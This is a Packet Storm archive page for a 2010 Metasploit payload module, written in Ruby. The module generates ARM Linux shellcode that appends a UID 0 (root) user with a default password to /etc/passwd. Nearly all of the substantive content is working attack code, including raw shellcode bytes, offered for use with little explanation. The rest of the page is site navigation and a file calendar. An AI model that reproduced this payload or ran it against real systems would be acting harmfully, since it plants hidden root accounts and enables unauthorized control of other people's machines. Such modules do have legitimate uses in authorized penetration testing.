what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Create A New User With UID 0 ARM Shellcode

Create A New User With UID 0 ARM Shellcode
Posted Dec 9, 2010
Authored by Jonathan Salwan

Metasploit framework plugin that generates shellcode to create a new user with uid 0 for the ARM architecture.

tags | shellcode
SHA-256 | 9d8fcf7ca8c8fb2be14a67055397ccae9e20e5aebce90829954cd7e054d0e01d

Create A New User With UID 0 ARM Shellcode

Change Mirror Download
# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF)
# Date: 2010-11-25
# Author: Jonathan Salwan - twitter @shell_storm
# Tested on: ARM926EJ-S rev 5 (v5l)
# Issue link: https://metasploit.com/redmine/issues/3254

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3

include Msf::Payload::Single
include Msf::Payload::Linux

def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Add User',
'Version' => '???',
'Description' => 'Create a new user with UID 0',
'Author' => [ 'Jonathan Salwan' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true))

# Register adduser options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
], self.class)
end

#
# Dynamically builds the adduser payload based on the user's options.
#
def generate_stage
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || 'metasploit'
shell = datastore['SHELL'] || '/bin/sh'
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
strl1 = [ (str.length)+52 ].pack('C*')
strl2 = [ str.length ].pack('C*')
pwdir = "/etc/passwd"
payload =
"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
str + pwdir

end

end

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close